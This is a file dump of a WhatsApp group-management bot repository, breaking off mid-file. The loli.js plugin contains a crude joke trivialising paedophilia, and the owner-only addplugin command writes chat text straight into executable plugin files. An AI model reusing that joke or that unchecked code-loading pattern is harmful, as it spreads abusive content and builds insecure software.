├── lib ├── lowdb │ ├── CAF │ ├── adapters │ │ ├── CAF │ │ ├── Memory.d.ts │ │ ├── MemorySync.d.ts │ │ ├── MemorySync.js │ │ ├── LocalStorage.d.ts │ │ ├── JSONFile.d.ts │ │ ├── JSONFileSync.d.ts │ │ ├── Memory.js │ │ ├── TextFile.d.ts │ │ ├── TextFileSync.d.ts │ │ ├── LocalStorage.js │ │ ├── .js │ │ ├── JSONFile.js │ │ ├── JSONFileSync.js │ │ ├── TextFile.js │ │ └── TextFileSync.js │ ├── MissingAdapterError.d.ts │ ├── MissingAdapterError.js │ ├── LowSync.d.ts │ ├── Low.d.ts │ ├── index.d.ts │ ├── index.js │ ├── Low.js │ └── LowSync.js ├── color.js ├── store │ ├── index.js │ ├── object-repository.js │ ├── make-ordered-dictionary.js │ └── make-in-memory-store.js ├── loader.js ├── upload.js ├── unused.js ├── mongoDB.js ├── user.js ├── exif.js └── myfunc.js ├── plugins ├── hidetag.js ├── repo.js ├── tagall.js ├── loli.js ├── demote.js ├── kick.js ├── delete.js ├── owner-delplugins.js ├── owner-addplugins.js ├── promote.js ├── cid.js ├── listch.js ├── notifch.js ├── createch.js └── jpmslide.js ├── module.js ├── LICENSE ├── app.json ├── package.json ├── settings.js ├── README.md └── index.js /lib/lowdb/CAF: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/CAF: -------------------------------------------------------------------------------- 1 | >\\\< 2 | -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.d.ts: -------------------------------------------------------------------------------- 1 | export declare class MissingAdapterError extends Error { 2 | constructor(); 3 | } 4 | -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.js: -------------------------------------------------------------------------------- 1 | class MissingAdapterError extends Error { 2 | constructor() { 3 | super(); 4 | this.message = 'Missing Adapter'; 5 | } 6 | } 7 | module.exports = { MissingAdapterError }; 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class Memory implements Adapter { 3 | private data; 4 | read(): Promise; 5 | write(obj: T): Promise; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class MemorySync implements SyncAdapter { 3 | private data; 4 | read(): T | null; 5 | write(obj: T): void; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.js: -------------------------------------------------------------------------------- 1 | class MemorySync { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return this.data || null; 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | } 11 | } 12 | module.exports = { MemorySync }; 13 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class LocalStorage implements SyncAdapter { 3 | private key; 4 | constructor(key: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class JSONFile implements Adapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): Promise; 6 | write(obj: T): Promise; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class JSONFileSync implements SyncAdapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.js: -------------------------------------------------------------------------------- 1 | class Memory { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return Promise.resolve(this.data); 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | return Promise.resolve(); 11 | } 12 | } 13 | module.exports = { Memory }; 14 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class TextFile implements Adapter { 3 | private filename; 4 | private writer; 5 | constructor(filename: string); 6 | read(): Promise; 7 | write(str: string): Promise; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class TextFileSync implements SyncAdapter { 3 | private tempFilename; 4 | private filename; 5 | constructor(filename: string); 6 | read(): string | null; 7 | write(str: string): void; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.d.ts: -------------------------------------------------------------------------------- 1 | export interface SyncAdapter { 2 | read: () => T | null; 3 | write: (data: T) => void; 4 | } 5 | export declare class LowSync { 6 | adapter: SyncAdapter; 7 | data: T | null; 8 | constructor(adapter: SyncAdapter); 9 | read(): void; 10 | write(): void; 11 | } 12 | -------------------------------------------------------------------------------- /lib/lowdb/Low.d.ts: -------------------------------------------------------------------------------- 1 | export interface Adapter { 2 | read: () => Promise; 3 | write: (data: T) => Promise; 4 | } 5 | export declare class Low { 6 | adapter: Adapter; 7 | data: T | null; 8 | constructor(adapter: Adapter); 9 | read(): Promise; 10 | write(): Promise; 11 | } 12 | -------------------------------------------------------------------------------- /lib/color.js: -------------------------------------------------------------------------------- 1 | const { modul } = require('../module'); 2 | const { chalk } = modul; 3 | 4 | const color = (text, color) => { 5 | return !color ? chalk.green(text) : chalk.keyword(color)(text) 6 | } 7 | 8 | const bgcolor = (text, bgcolor) => { 9 | return !bgcolor ? chalk.green(text) : chalk.bgKeyword(bgcolor)(text) 10 | } 11 | 12 | module.exports = { 13 | color, 14 | bgcolor 15 | } 16 | -------------------------------------------------------------------------------- /lib/store/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | var __importDefault = (this && this.__importDefault) || function (mod) { 3 | return (mod && mod.__esModule) ? mod : { "default": mod }; 4 | }; 5 | Object.defineProperty(exports, "__esModule", { value: true }); 6 | const make_in_memory_store_1 = __importDefault(require("./make-in-memory-store")); 7 | exports.makeInMemoryStore = make_in_memory_store_1.default; 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.js: -------------------------------------------------------------------------------- 1 | class LocalStorage { 2 | constructor(key) { 3 | this.key = key; 4 | } 5 | read() { 6 | const value = localStorage.getItem(this.key); 7 | if (value === null) { 8 | return null; 9 | } 10 | return JSON.parse(value); 11 | } 12 | write(obj) { 13 | localStorage.setItem(this.key, JSON.stringify(obj)); 14 | } 15 | } 16 | module.exports = { LocalStorage }; 17 | -------------------------------------------------------------------------------- /lib/lowdb/index.d.ts: -------------------------------------------------------------------------------- 1 | export * from './adapters/JSONFile.js'; 2 | export * from './adapters/JSONFileSync.js'; 3 | export * from './adapters/LocalStorage.js'; 4 | export * from './adapters/Memory.js'; 5 | export * from './adapters/MemorySync.js'; 6 | export * from './adapters/TextFile.js'; 7 | export * from './adapters/TextFileSync.js'; 8 | export * from './Low.js'; 9 | export * from './LowSync.js'; 10 | -------------------------------------------------------------------------------- /lib/lowdb/index.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | ...require('./adapters/JSONFile.js'), 3 | ...require('./adapters/JSONFileSync.js'), 4 | ...require('./adapters/LocalStorage.js'), 5 | ...require('./adapters/Memory.js'), 6 | ...require('./adapters/MemorySync.js'), 7 | ...require('./adapters/TextFile.js'), 8 | ...require('./adapters/TextFileSync.js'), 9 | ...require('./Low.js'), 10 | ...require('./LowSync.js'), 11 | } -------------------------------------------------------------------------------- /lib/lowdb/adapters/.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const chalk = require('chalk') 3 | 4 | global.baileys = require('@whiskeysockets/baileys') 5 | global.adiwajshing = require('@adiwajshing/baileys') 6 | global.wawebjs = require('@library/wawebjs') 7 | 8 | let file = require.resolve(__filename) 9 | fs.watchFile(file, () => { 10 | fs.unwatchFile(file) 11 | console.log(chalk.redBright(`Update'${__filename}'`)) 12 | delete require.cache[file] 13 | require(file) 14 | }) -------------------------------------------------------------------------------- /lib/lowdb/Low.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class Low { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | async read() { 13 | this.data = await this.adapter.read(); 14 | } 15 | async write() { 16 | if (this.data) { 17 | await this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { Low }; 22 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class LowSync { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | read() { 13 | this.data = this.adapter.read(); 14 | } 15 | write() { 16 | if (this.data !== null) { 17 | this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { LowSync }; 22 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.js: -------------------------------------------------------------------------------- 1 | const { TextFile } = require('./TextFile.js'); 2 | class JSONFile { 3 | constructor(filename) { 4 | this.adapter = new TextFile(filename); 5 | } 6 | async read() { 7 | const data = await this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | return this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFile }; 20 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.js: -------------------------------------------------------------------------------- 1 | const { TextFileSync } = require('./TextFileSync.js'); 2 | class JSONFileSync { 3 | constructor(filename) { 4 | this.adapter = new TextFileSync(filename); 5 | } 6 | read() { 7 | const data = this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFileSync }; 20 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const { Writer } = require('steno'); 3 | class TextFile { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.writer = new Writer(filename); 7 | } 8 | async read() { 9 | let data; 10 | try { 11 | data = await fs.promises.readFile(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | return this.writer.write(str); 23 | } 24 | } 25 | module.exports = { TextFile }; -------------------------------------------------------------------------------- /plugins/hidetag.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | let handler = async (m, { mking, isAdmins, isBotAdmins, text, participants, reply }) => { 4 | if (!m.isGroup) return reply(mess.group); 5 | if (!isAdmins) return reply(mess.admin); 6 | if (!isBotAdmins) return reply(mess.botAdmin); 7 | 8 | let message = text || m.quoted?.text; 9 | if (!message) return reply('Send text or reply to a message to hide tag.'); 10 | 11 | let member = participants.map(u => u.id); 12 | await mking.sendMessage(m.chat, { text: message, mentions: member }); 13 | }; 14 | 15 | handler.command = ['hidetag', 'ht']; 16 | handler.tags = ['group']; 17 | handler.help = ['hidetag']; 18 | module.exports = handler; -------------------------------------------------------------------------------- /module.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | modul: { 3 | axios: require('axios'), 4 | baileys: require("@whiskeysockets/baileys"), 5 | chalk: require('chalk'), 6 | cheerio: require('cheerio'), 7 | fs: require('fs'), 8 | fsx: require('fs-extra'), 9 | keyeddb: require('@whiskeysockets/baileys'), 10 | moment: require('moment-timezone'), 11 | path: require('path'), 12 | FileType: require('file-type'), 13 | pino: require('pino'), 14 | process: require('process'), 15 | parsems: require('parse-ms'), 16 | os: require('os'), 17 | PhoneNumber: require('awesome-phonenumber'), 18 | util: require('util'), 19 | Utils: require('@whiskeysockets/baileys/lib/Utils') 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | class TextFileSync { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.tempFilename = path.join(path.dirname(filename), `.${path.basename(filename)}.tmp`); 7 | } 8 | read() { 9 | let data; 10 | try { 11 | data = fs.readFileSync(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | fs.writeFileSync(this.tempFilename, str); 23 | fs.renameSync(this.tempFilename, this.filename); 24 | } 25 | } 26 | module.exports = { TextFileSync }; 27 | -------------------------------------------------------------------------------- /plugins/repo.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { reply }) => { 2 | const repoInfo = ` 3 | *🤖 Mk-bot Repository* 4 | 5 | 📁 *Repository:* XdKing2/Mk-bot 6 | 🔗 *GitHub Link:* https://github.com/XdKing2/Mk-bot 7 | 8 | ⭐ Feel free to star the repo if you like it! 9 | 📝 Report issues and contribute to the project. 10 | 11 | *Thank you for using Mk-bot!* 🚀 12 | `.trim(); 13 | 14 | try { 15 | await reply(repoInfo); 16 | } catch (err) { 17 | console.log(err); 18 | reply("❌ Failed to display repository information."); 19 | } 20 | }; 21 | 22 | handler.command = ["repo", "source", "code", "github"]; 23 | handler.tags = ["main"]; 24 | handler.help = ["repo"]; 25 | handler.group = true; 26 | 27 | module.exports = handler; -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License – EN 2 | 3 | Copyright (c) 2025 Malvin King 4 | 5 | ▶︎ Terms 6 | - It is prohibited to sell or re-claim part or all of this code without written permission from the Developer. 7 | - This script can be used, modified, and redistributed only for personal or development purposes. 8 | - This file must be included in every copy or derivative of the code. 9 | 10 | ⚠︎ Disclaimer 11 | The use of this script is entirely the responsibility of the user. 12 | The Developer and contributors are not responsible for any damage, legal violations, or losses arising from the use of this script. 13 | 14 | ⚙︎ Official Source & Updates 15 | https://whatsapp.com/channel/0029VbB3YxTDJ6H15SKoBv3S 16 | 17 | Developed by: Malvin Tech 18 | -------------------------------------------------------------------------------- /plugins/tagall.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { mking, isAdmins, isBotAdmins, reply, text }) => { 2 | if (!m.isGroup) return reply(mess.group); 3 | if (!isAdmins) return reply(mess.admin); 4 | if (!isBotAdmins) return reply(mess.botAdmin); 5 | 6 | let metadata = await mking.groupMetadata(m.chat); 7 | let teks = `📢 *TagAll by Admin*\n\n${text ? text + "\n\n" : ""}`; 8 | let mentionAll = metadata.participants.map(a => a.id); 9 | mentionAll.forEach(u => (teks += `👤 @${u.split('@')[0]}\n`)); 10 | 11 | await mking.sendMessage(m.chat, { text: teks, mentions: mentionAll }); 12 | }; 13 | 14 | handler.command = ["tagall"]; 15 | handler.tags = ["group"]; 16 | handler.help = ["tagall"]; 17 | handler.group = true; 18 | 19 | module.exports = handler; -------------------------------------------------------------------------------- /lib/loader.js: -------------------------------------------------------------------------------- 1 | const { modul } = require('../module'); 2 | const { fs } = modul; 3 | const { color } = require('./color') 4 | 5 | async function uncache(module = '.') { 6 | return new Promise((resolve, reject) => { 7 | try { 8 | delete require.cache[require.resolve(module)] 9 | resolve() 10 | } catch (e) { 11 | reject(e) 12 | } 13 | }) 14 | } 15 | 16 | async function nocache(module, cb = () => { }) { 17 | console.log(color('Module', 'blue'), color(`'${module} is up to date!'`, 'cyan')) 18 | fs.watchFile(require.resolve(module), async () => { 19 | await uncache(require.resolve(module)) 20 | cb(module) 21 | }) 22 | } 23 | 24 | module.exports = { 25 | uncache, 26 | nocache 27 | } 28 | -------------------------------------------------------------------------------- /plugins/loli.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { mking, command }) => { 2 | const defaultMenu = `Click here bro`; 3 | mking.sendMessage(m.chat, { 4 | location: { 5 | degreesLatitude: -6.2088, // Change with location latitude 6 | degreesLongitude: 106.8456 // Change with location longitude 7 | }, 8 | caption: defaultMenu, 9 | footer: foother, 10 | buttons: [ 11 | { 12 | buttonId: `huu`, 13 | buttonText: { 14 | displayText: '\nI am a pedo:v' 15 | }, 16 | type: 1 17 | } 18 | ], 19 | headerType: 6, 20 | viewOnce: true 21 | }, { quoted: m }); 22 | }; 23 | 24 | handler.command = ["loli"] 25 | module.exports = handler -------------------------------------------------------------------------------- /lib/store/object-repository.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | exports.ObjectRepository = void 0; 4 | class ObjectRepository { 5 | constructor(entities = {}) { 6 | this.entityMap = new Map(Object.entries(entities)); 7 | } 8 | findById(id) { 9 | return this.entityMap.get(id); 10 | } 11 | findAll() { 12 | return Array.from(this.entityMap.values()); 13 | } 14 | upsertById(id, entity) { 15 | return this.entityMap.set(id, { ...entity }); 16 | } 17 | deleteById(id) { 18 | return this.entityMap.delete(id); 19 | } 20 | count() { 21 | return this.entityMap.size; 22 | } 23 | toJSON() { 24 | return this.findAll(); 25 | } 26 | } 27 | exports.ObjectRepository = ObjectRepository; 28 | -------------------------------------------------------------------------------- /plugins/demote.js: -------------------------------------------------------------------------------- 1 | 2 | let handler = async (m, { mking, isAdmins, isBotAdmins, args, reply }) => { 3 | if (!m.isGroup) return reply(mess.group); 4 | if (!isAdmins) return reply(mess.admin); 5 | if (!isBotAdmins) return reply(mess.botAdmin); 6 | 7 | let user = 8 | m.quoted?.sender || 9 | m.mentionedJid?.[0] || 10 | (args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : null); 11 | 12 | if (!user) return reply('Tag or reply to the user message you want to demote from admin.'); 13 | 14 | await mking.groupParticipantsUpdate(m.chat, [user], 'demote'); 15 | return reply(`⬇️ Successfully demoted @${user.split('@')[0]} from group admin.`, { mentions: [user] }); 16 | }; 17 | 18 | handler.command = ['demote']; 19 | handler.tags = ['group']; 20 | handler.help = ['demote']; 21 | module.exports = handler; -------------------------------------------------------------------------------- /plugins/kick.js: -------------------------------------------------------------------------------- 1 | 2 | let handler = async (m, { mking, isAdmins, isBotAdmins, args, reply }) => { 3 | if (!m.isGroup) return reply(mess.group); 4 | if (!isAdmins) return reply(mess.admin); 5 | if (!isBotAdmins) return reply(mess.botAdmin); 6 | 7 | let user = 8 | m.quoted?.sender || 9 | m.mentionedJid?.[0] || 10 | (args[0] ? args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net' : null); 11 | 12 | if (!user) return reply('Tag or reply to the user message you want to kick.'); 13 | if (user === m.sender) return reply('😅 Why kick yourself bro.'); 14 | 15 | await mking.groupParticipantsUpdate(m.chat, [user], 'remove'); 16 | return reply(`Successfully kicked @${user.split('@')[0]} from the group.`, { mentions: [user] }); 17 | }; 18 | 19 | handler.command = ['kick']; 20 | handler.tags = ['group']; 21 | handler.help = ['kick']; 22 | module.exports = handler; -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "MK-Bot", 3 | "description": "WhatsApp Bot by Malvin King", 4 | "logo": "https://files.catbox.moe/641pvo.jpg", 5 | "repository": "https://github.com/XdKing2/Mk-bot", 6 | "keywords": ["whatsapp-bot", "malvin-king", "mk-bot"], 7 | "success_url": "/", 8 | "buildpacks": [ 9 | { 10 | "url": "https://github.com/heroku/heroku-buildpack-nodejs#latest" 11 | } 12 | ], 13 | "env": { 14 | "SESSION_ID": { 15 | "description": "Your session ID (starcore~)", 16 | "required": true 17 | }, 18 | "OWNER_NUMBER": { 19 | "description": "Bot owner's phone number", 20 | "required": true 21 | }, 22 | "BOT_MODE": { 23 | "description": "Bot mode: public or self", 24 | "value": "public", 25 | "required": true 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /plugins/delete.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { mking, isAdmins, isBotAdmins, reply }) => { 2 | if (!m.isGroup) return reply(mess.group); 3 | if (!isAdmins) return reply(mess.admin); 4 | if (!isBotAdmins) return reply(mess.botAdmin); 5 | 6 | if (!m.quoted) return reply("Reply to the message you want to delete, then type *.delete*"); 7 | 8 | try { 9 | await mking.sendMessage(m.chat, { react: { text: "👁️‍🗨️", key: m.key } }); 10 | await mking.sendMessage(m.chat, { 11 | delete: { 12 | remoteJid: m.chat, 13 | fromMe: false, 14 | id: m.quoted.id, 15 | participant: m.quoted.sender 16 | } 17 | }); 18 | } catch (err) { 19 | console.log(err); 20 | reply("❌ Failed to delete message, maybe the message is too old or not from a member."); 21 | } 22 | }; 23 | 24 | handler.command = ["delete", "del"]; 25 | handler.tags = ["group"]; 26 | handler.help = ["delete"]; 27 | handler.group = true; 28 | 29 | module.exports = handler; -------------------------------------------------------------------------------- /lib/upload.js: -------------------------------------------------------------------------------- 1 | /*═══════════════════════════════════════════════════════ 2 | * ⌬ YT NeoShiroko Labs 3 | *═══════════════════════════════════════════════════════ 4 | * 🌐 Website : https://www.neolabsofficial.my.id 5 | * ⌨︎ Developer : https://zass.cloud 6 | * ▶︎ YouTube : https://www.youtube.com/@zassci_desu 7 | * ⚙︎ Panel Murah : pteroku-desu.zass.cloud 8 | * 9 | * ⚠︎ Mohon untuk tidak menghapus watermark ini 10 | *═══════════════════ © 2025 Zass Desuta ─════════════════════ 11 | */ 12 | const { uploadFile } = require('cloudku-uploader'); 13 | const fs = require('fs'); 14 | 15 | module.exports = async function uploadToCloudku(filePath) { 16 | try { 17 | const fileBuffer = fs.readFileSync(filePath); 18 | const result = await uploadFile(fileBuffer, filePath.split('/').pop()); 19 | 20 | if (result.status === 'success') { 21 | return result.data.url; // langsung return URL hasil upload 22 | } else { 23 | throw new Error(result.message || 'Upload failed'); 24 | } 25 | } catch (error) { 26 | throw new Error(`Upload error: ${error.message}`); 27 | } 28 | }; -------------------------------------------------------------------------------- /lib/unused.js: -------------------------------------------------------------------------------- 1 | const { exec } = require("child_process"); 2 | const fs = require("fs"); 3 | 4 | /** @type {{ dependencies: Object }} */ 5 | const { dependencies } = JSON.parse(fs.readFileSync("./package.json")); 6 | 7 | exec("find .", (err, stdout) => { 8 | if(err) throw err; 9 | 10 | const files = stdout 11 | .toString() 12 | .trim() 13 | .split("\n") 14 | .filter(v => ( 15 | !v.includes("node_modules") && 16 | /\.(m|c)?js$/i.test(v) 17 | )); 18 | const modules = Object.fromEntries( 19 | Object.entries( 20 | dependencies 21 | ).map(([key]) => [ 22 | key, 23 | false 24 | ]) 25 | ); 26 | for(const file of files) { 27 | const data = fs.readFileSync(file); 28 | for(const module in modules) { 29 | if(modules[module] === false) { 30 | const regex = new RegExp(`("|')${module}("|')`); 31 | modules[module] = regex.test(data); 32 | } 33 | } 34 | } 35 | console.log( 36 | Object.fromEntries( 37 | Object.entries( 38 | modules 39 | ).filter(([, val]) => val === false) 40 | ) 41 | ); 42 | }); 43 | -------------------------------------------------------------------------------- /plugins/owner-delplugins.js: -------------------------------------------------------------------------------- 1 | /*═══════════════════════════════════════════════════════ 2 | * ⌬ YT NeoShiroko Labs 3 | *═══════════════════════════════════════════════════════ 4 | * 🌐 Website : https://www.neolabsofficial.my.id 5 | * ⌨︎ Developer : https://zass.cloud 6 | * ▶︎ YouTube : https://www.youtube.com/@zassci_desu 7 | * ⚙︎ Panel Murah : pteroku-desu.zass.cloud 8 | * 9 | * ⚠︎ Please do not remove this watermark 10 | *═══════════════════ © 2025 Zass Desuta ─════════════════════ 11 | */ 12 | 13 | const fs = require("fs") 14 | 15 | let handler = async (m, { mking, isCreator, text, example, reply}) => { 16 | if (!isCreator) return reply(mess.creator) 17 | if (!text) return reply(example("plugin filename")) 18 | if (!text.endsWith(".js")) return reply("File name must be in .js format") 19 | if (!fs.existsSync("./plugins/" + text.toLowerCase())) return reply("Plugin file not found!") 20 | await fs.unlinkSync("./plugins/" + text.toLowerCase()) 21 | return reply(`Successfully deleted plugin file *${text.toLowerCase()}*`) 22 | } 23 | 24 | handler.command = ["delplugins", "delplugin"] 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mk-bot", 3 | "version": "1.0.1", 4 | "description": "Bot whatsapp", 5 | "main": "index.js", 6 | "type": "commonjs", 7 | "scripts": { 8 | "start": "node index.js" 9 | }, 10 | "author": "Zass Desuta", 11 | "license": "NS", 12 | "dependencies": { 13 | "@adiwajshing/keyed-db": "^0.2.4", 14 | "@ffmpeg-installer/ffmpeg": "^1.1.0", 15 | "@whiskeysockets/baileys": "npm:@rexxhayanasi/elaina-bail", 16 | "awesome-phonenumber": "^5.9.0", 17 | "axios": "^0.24.0", 18 | "chalk": "^4.1.2", 19 | "path": "^0.12.7", 20 | "cheerio": "0.22.0", 21 | "cloudku-uploader": "latest", 22 | "figlet": "^1.5.0", 23 | "fluent-ffmpeg": "^2.1.3", 24 | "file-type": "^16.5.3", 25 | "node-webpmux": "^3.1.1", 26 | "fs-extra": "^10.0.0", 27 | "crypto": "^1.0.1", 28 | "os": "^0.1.2", 29 | "gradient-string": "^1.1.1", 30 | "jimp": "^0.22.12", 31 | "lodash": "^4.17.21", 32 | "css-select": "^5.1.0", 33 | "moment-timezone": "^0.5.34", 34 | "child_process": "^1.0.2", 35 | "mongoose": "^8.16.0", 36 | "ms": "^2.1.3", 37 | "node-cache": "latest", 38 | "parse-ms": "^2.1.0", 39 | "pino": "^7.0.5", 40 | "steno": "^4.0.2", 41 | "yargs": "^17.7.2" 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /plugins/owner-addplugins.js: -------------------------------------------------------------------------------- 1 | /*═══════════════════════════════════════════════════════ 2 | * ⌬ YT NeoShiroko Labs 3 | *═══════════════════════════════════════════════════════ 4 | * 🌐 Website : https://www.neolabsofficial.my.id 5 | * ⌨︎ Developer : https://zass.cloud 6 | * ▶︎ YouTube : https://www.youtube.com/@zassci_desu 7 | * ⚙︎ Panel Murah : pteroku-desu.zass.cloud 8 | * 9 | * ⚠︎ Please do not remove this watermark 10 | *═══════════════════ © 2025 Zass Desuta ─════════════════════ 11 | */ 12 | 13 | const fs = require("fs") 14 | 15 | let handler = async (m, { mking, isCreator, text, reply, example }) => { 16 | if (!isCreator) return reply(mess.creator) 17 | if (!text) return reply(example("filename & reply code")) 18 | if (!m.quoted || !m.quoted.text) return reply(example("filename & reply code")) 19 | if (!text.endsWith(".js")) return reply("File name must be in .js format") 20 | let kondisi = "adding" 21 | if (fs.existsSync("./plugins/" + text)) return reply("Plugin file name is already registered in the plugins folder!") 22 | let teks = m.quoted.text 23 | await fs.writeFileSync("./plugins/" + text, teks) 24 | return reply(`Successfully ${kondisi} plugin file *${text}*`) 25 | } 26 | 27 | handler.command = ["addplugins", "addplugin", "addp", "addplug"] 28 | 29 | module.exports = handler -------------------------------------------------------------------------------- /lib/mongoDB.js: -------------------------------------------------------------------------------- 1 | const mongoose = require('mongoose') 2 | const { Schema } = mongoose 3 | 4 | module.exports = class mongoDB { 5 | constructor(url, options = { useNewUrlParser: true, useUnifiedTopology: true }) { 6 | this.url = url 7 | this.data = this._data = this._schema = this._model = {} 8 | this.db 9 | this.options = options 10 | } 11 | async read() { 12 | this.db = await mongoose.connect(this.url, { ...this.options }) 13 | this.connection = mongoose.connection 14 | let schema = this._schema = new Schema({ 15 | data: { 16 | type: Object, 17 | required: true, //depends on whether the field is mandatory or not 18 | default: {} 19 | } 20 | }) 21 | // this._model = mongoose.model('data', schema) 22 | try { this._model = mongoose.model('data', schema) } catch { this._model = mongoose.model('data') } 23 | this._data = await this._model.findOne({}) 24 | if (!this._data) { 25 | this.data = {} 26 | await this.write(this.data) 27 | this._data = await this._model.findOne({}) 28 | } else this.data = this._data.data 29 | return this.data 30 | } 31 | 32 | 33 | async write(data) { 34 | if (!data) return data 35 | if (!this._data) return (new this._model({ data })).save() 36 | this._model.findById(this._data._id, (err, docs) => { 37 | if (!err) { 38 | if (!docs.data) docs.data = {} 39 | docs.data = data 40 | return docs.save() 41 | } 42 | }) 43 | } 44 | } -------------------------------------------------------------------------------- /lib/user.js: -------------------------------------------------------------------------------- 1 | require("../settings"); 2 | 3 | const fs = require("fs"); 4 | const { modul } = require("../module"); 5 | const { 6 | default: DimzBotConnect, 7 | delay, 8 | jidNormalizedUser, 9 | makeWASocket, 10 | generateForwardMessageContent, 11 | prepareWAMessageMedia, 12 | generateWAMessageFromContent, 13 | generateMessageID, 14 | jidDecode, 15 | proto, 16 | } = require("@whiskeysockets/baileys"); 17 | const { moment } = modul; 18 | const userDbPath = `${process.cwd()}/database/user.json`; 19 | const users = JSON.parse(fs.readFileSync(userDbPath, "utf-8")); 20 | 21 | const time2 = moment().tz("Africa/Harare").format("HH:mm:ss"); 22 | let timeGreeting; 23 | 24 | if (time2 < "05:00:00") { 25 | timeGreeting = "🌃 Good Night"; 26 | } else if (time2 < "11:00:00") { 27 | timeGreeting = "☀️ Good Morning"; 28 | } else if (time2 < "15:00:00") { 29 | timeGreeting = "🌞 Good Afternoon"; 30 | } else if (time2 < "18:00:00") { 31 | timeGreeting = "🌇 Good Evening"; 32 | } else if (time2 < "19:00:00") { 33 | timeGreeting = "🌆 Good Night"; 34 | } else { 35 | timeGreeting = "🌙 Good Night"; 36 | } 37 | 38 | const handleIncomingMessage = (sock, id) => {} 39 | 40 | const 